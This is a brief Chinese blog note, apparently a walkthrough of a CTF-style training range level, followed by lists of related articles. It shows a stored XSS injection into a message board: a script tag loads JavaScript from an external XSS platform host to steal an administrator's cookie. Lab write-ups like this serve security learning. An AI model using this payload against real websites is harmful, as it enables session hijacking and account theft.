mbp 封神臺靶場 四 （筆記）
打開鏈接，發現是個留言板，嘗試xss注入,看看是否可行。 彈出1提示並發現字段變灰，說明注入成功，登錄xss平臺創建項目。 將此代碼段植入剛纔的區域中<script src=http://xsspt.com/2gVqle></script>然後查看項目內容發現flag 總結：本關主要是通過xss注入拿到管理員cookie的，見框就插是xss注入的常用手段，它主要通過用戶輸入當作html語句在頁面上
相關文章
- 1. mbp 封神臺靶場 一（筆記）
- 2. mbp 封神臺靶場 二（筆記）
- 3. mbp 封神臺靶場 六（筆記）
- 4. mbp 封神臺靶場 三 （筆記）
- 5. mbp 封神臺靶場 五 （筆記）
- 6. 封神臺靶場-第四章
- 7. 封神臺DOM XSS靶場
- 8. 封神臺靶場writeup
- 9. ctf實戰 封神臺的靶場 第四關通關記錄
- 10. 封神臺靶場-第二章
- 更多相關文章...
- • C# 封裝 - C#教程
- • ionic 平臺 - ionic 教程
- • Tomcat學習筆記（史上最全tomcat學習筆記）
- • Docker容器實戰(一) - 封神Server端技術
相關標籤/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
歡迎關注本站公眾號,獲取更多信息
相關文章
- 1. mbp 封神臺靶場 一（筆記）
- 2. mbp 封神臺靶場 二（筆記）
- 3. mbp 封神臺靶場 六（筆記）
- 4. mbp 封神臺靶場 三 （筆記）
- 5. mbp 封神臺靶場 五 （筆記）
- 6. 封神臺靶場-第四章
- 7. 封神臺DOM XSS靶場
- 8. 封神臺靶場writeup
- 9. ctf實戰 封神臺的靶場 第四關通關記錄
- 10. 封神臺靶場-第二章